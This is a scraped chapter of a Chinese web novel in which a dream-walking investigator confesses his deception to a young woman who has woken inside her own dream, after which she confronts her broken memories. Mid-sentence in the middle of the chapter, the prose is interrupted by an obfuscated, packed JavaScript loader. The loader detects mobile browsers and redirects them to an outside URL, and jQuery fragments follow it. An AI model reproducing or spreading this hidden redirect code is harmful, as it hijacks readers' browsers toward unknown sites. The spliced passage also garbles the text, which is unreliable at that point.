17. 第 17 章

    “砰!”


    一股巨力猛击宋曜后颈,力道之大让他眼前一黑,一瞬间感觉天旋地转,踉跄着向前扑倒在地。


    剧烈的痛楚后知后觉地冲上神经,他痛得五官扭曲龇牙咧嘴,还没来得及缓过神,双手便被人反折到背后,下一秒,一股重量压上他的后背,让他整个人动弹不得。


    宋曜心头一紧,正要挣扎,那人却猛地将铲子狠狠往他脖颈旁一插。


    “咔!”


    锋利的铲刃深深刺入泥土,仅差一厘米就能割开喉咙。宋曜的眼睛惊恐地瞪大,他都能感觉到金属的凉意,顿时不敢动了。


    冷汗顺着额角滚落,他紧张地吞了吞口水,声音微微发颤:“你是谁?有话好好说……”


    身后的人没有立刻回应,只是缓缓逼近他的后脑。


    宋曜全身汗毛竖起,肌肉绷紧到了极点,心里盘算着趁那人靠近的时候,用脑袋向后猛撞他,说不定能得到一息逃脱的机会。


    “你到底是谁?这里到底是什么地方?”


    宋曜蓦地一愣,这个声音……


    他瞬间放松了紧绷的肌肉,侧脸贴到了地上。


    是祝玖。


    他无奈地眨了眨眼:“我是宋曜啊。你不记得了吗?我们掉进了裂隙。”


    祝玖嗤笑一声,手中的铲子毫不犹豫地往下压了一寸,锋利的刃口更贴近了他的颈侧,仅剩毫厘之距。


    她的声音带着一丝危险的冷意:“我劝你最好实话实说。”


    宋曜被下压的铲子吓得一抖,脖颈处的皮肤随着血管脉动,不断与冰凉的金属接触。


    是他一时糊涂了。


    一开始欺骗祝玖是因为她敌我不明,现在确认了她不是敌人,甚至还有可能是案件的突破口,那还有什么隐瞒的必要?


    让她醒过来,提供更多线索才是最重要的。


    他屏住呼吸开口:“我说我说,你先让我起来。”


    祝玖攥紧了束缚他的手,声音紧绷而戒备:“就这么说。”


    宋曜无奈地叹了口气,抿了抿唇,缓缓道:“我真的叫宋曜。但我并不是什么风水师。”


    “我们也没有掉入裂隙,这点是我骗了你,我该向你道歉,对不起。”


    他深吸了一口气:“我是异常现象调查局的编外员工,我的能力是能进入别人的梦,我们现在在你的梦里。”


    果然。


    祝玖垂下了眼睛。


    ---


    不久之前,晦暗无光的地下世界,心跳停止后的某个瞬间,突然开始猛烈地搏动。


    那震动的频率熟悉又陌生,灼热的血液冲破了封闭的桎梏,泵入四肢百骸,每一寸皮肤都仿佛被滚烫的热流灼烧。


    祝玖猛然睁开眼。


    记忆的洪流瞬间涌来。它们汹涌、破碎,夹杂着烈火焚烧的痛感、窒息的压迫,还有一次次被剥夺的意识的混乱和痛苦。


    潮水退去后,她发现了一些不妙的事。


    但眼下最重要的——


    头顶传来掘土的声响,祝玖在距宋曜几米的地下,透过厚厚的泥土层,目光死死盯住他。


    这个人,绝对有问题。她很早就开始怀疑他了,甚至怀疑自己时而混沌时而清醒,也跟这个人有关。


    趁她这时候意识还算清醒,她不想再浪费时间跟这个人演下去了。


    搞清楚他的目的,让他离开,她才有心思处理更棘手的事。


    而结果也不出所料。


    祝玖一屁股坐在宋曜后腰上,看着他趴在地上的狼狈身影,攥紧他手腕的手忍不住加重力道,将他的手捏的通红。


    她握着铲柄的手紧了紧。


    遮遮掩掩,满口谎言,刚才还想糊弄她!真想再给这家伙的脑袋补一铲子!


    宋曜莫名打了个寒战,直觉突然上线,没等祝玖继续问,便将人口失踪案一股脑和盘托出,包括用机器向她的精神施压,扰乱她自我意识的事。


    他努力将遮住眼睛的头发蹭走,侧着头向后看向祝玖,语气带着几分愧疚和焦急:“十月十八日,我在天坑附近的河道处发现了你。我们试图唤醒你,但是用了很多办法都不行。时间紧迫,我的同事和失踪的人都在等待救援,所以我们迫不得已用了这种方法。”


    他停顿了一下,诚恳地说:“我已经跟张局多次强调,让他不要再用机器了,我真的没想到机器会对你造成那么严重的伤害。”


    “祝玖,对不起,是我辜负了你的信任。”


    “但现在,我们对天坑底的情况了解还不够。能不能请你告诉我们,那里到底发生了什么?”


    祝玖没有回答。


    她是吃百家饭长大的,虽然爷爷奶奶们对她很好,但寄人篱下难免要学会察言观色,这么多年已经成为她的本能。依她来看,此时宋曜的语气、表情、心跳和呼吸频率,不像是在撒谎。


    可如果他说的是真的,那麻烦就大了。


    她沉默了半响,起身放开了对宋曜的压制。


    宋曜松了一口气,揉了揉发麻的肩膀,从地上爬起来。他随便拍了拍胳膊上的土,脸上还沾着泥巴,却顾不上整理,只是急切地看向祝玖,眼神诚恳而迫切。


    “现在是什么时间?”将铲子往身旁一锄,祝玖忽然开口。


    宋曜一愣:“十月二十号。”


    祝玖皱了皱眉,眼神微微闪烁,脸上的表情飞速变换。她的手指无意识地攥紧了衣角,指节微微发白。


    “从什么时候……不对,你在我梦里都经历了什么?按照顺序大体说说就行。”


    宋曜满脸问号:“你……”


    “先别问,你快说!”祝玖的语气突然变得急促,面上的表情越来越奇怪。


    “哦哦。”宋曜被她突如其来的情绪变化弄得有些发懵,但还是点了点头,开始回忆:“讲座、宣传广告、山神庙、小黄鸭、树型老虎机和畸形村民、地震、山犭军、过生日、你被活埋……”


    他一边说,一边小心翼翼地观察祝玖的表情,却被她飞速切换的表情搞得越来越迷惑。


    她是怎么做到一秒切换这么多表情的?比川剧变脸还神奇。


    “你都跟你们那个局长说了什么?”祝玖努力让自己的情绪平复了一些,继续问道。


    “我只说了天坑相关的事,你私人的情况我没有提。这是你的隐私。”


    “我的隐私?”祝玖突然冷笑一声,眼神中带着讥讽,“你都知道了,那还算我的隐私吗?”


    宋曜被她的话噎住,一时不知该如何回应。他低下头,躲开她的视线,手指无意识地抠了抠掌心。


    “对不起。”他低声说道,声音里满是歉意和无奈。他知道,这句道歉或许苍白无力,但


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964457|161219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    此刻,他除了这句话,什么也说不出口。


    祝玖沉默了片刻,像是将内心的波澜强行压了下去,恢复了面无表情。她的声音冷静而淡漠,却带着一丝不容置疑:“你之后跟那个局长汇报的时候,我要参与。我会酌情将我知道的告诉你们。”


    宋曜松了一口气,连忙点头:“没问题。”


    话一说完,两人之间陷入了一阵短暂的沉默。


    祝玖直勾勾地盯着宋曜:“所以,你可以出去了吗?”


    宋曜一愣,随即尴尬地挠了挠头,脸上露出一丝窘迫:“我这就走!”


    他的身影像是信号不良的影像般闪了闪,随后便消失在祝玖面前。


    祝玖站在原地,静静地等了一会儿。她闭上眼睛,感受着周围的空气,确认那股陌生的气息彻底消失后,才微微放松了绷紧的肌肉。


    猝不及防地暴露了那么多信息,出去后还有场硬仗要打。


    那现在……


    她转过身,看向自己的身后。


    微风拂过。


    起初,只是空气中掀起了些许涟漪。但很快,整片空间像被某种无形的力量碰触,开始碎裂。


    密林、土堆、铲子、空心的树干……


    所有的一切都被风化,在空气中崩解、化作齑粉,无声地消散。


    一切归于虚无,只有眼前五彩斑斓的记忆碎片,如同被打乱的拼图,无序地环绕着她上下浮动。


    她的指尖微微蜷缩了一下,心脏不受控制地加快跳动。


    直觉告诉她,她的记忆出了问题。


    记忆应该是线性的,如一串珍珠项链,将她从小到大的经历按时间顺序串成一串。循着那根连接珍珠的线,她可以轻易地追溯过去,理清因果。


    但现在,那根线断了。


    所有的记忆全部失序,混作一副不可名状的全景画,就好像时间在她身上突然失效。


    她怔怔地看着这些支离破碎的影像,它们如此鲜明,如此真实,甚至连空气中的温度、光影的流转都纤毫毕现,仿佛她正身处其中。


    她一时分不清过去和现在,甚至分不清梦境和现实。


    将宋曜作为参照物的话,所有跟他一起经历的,都是梦。


    那其他的……


    祝玖闭上了眼睛,试图整理这些混乱的画面。


    一瞬间,所有的情感如决堤的洪流般席卷而来。它们失去了时间的过滤,没有缓冲,没有过渡,所有的喜悦、痛苦、愤怒、恐惧……以最原始、最鲜烈的姿态直冲她的意识。


    刹那间,她仿佛置身于无数个自己的人生节点,每个自己都在哭喊、在狂笑、在挣扎,情绪的冲击力铺天盖地,如同无数柄锋利的刀,从四面八方刺入她的心脏。


    疼痛、错乱、撕裂。


    她的思维轰然崩溃。


    大脑无法承受如此庞大的信息量,神经尖锐地颤抖,自我保护机制强行启动,拉动紧急刹车,硬生生将她的意识从这片风暴中拽了出来。


    记忆和情感如退潮般急速褪去,留下的只有一片死寂的空白。


    祝玖猛地睁开眼睛,面色苍白如纸,额头上布满了细密的汗珠。她的胸口剧烈起伏,呼吸急促得像是刚刚从窒息中挣扎出来。


    她抬起手,擦了擦额头的冷汗,指尖微微颤抖。


    她的记忆到底怎么了?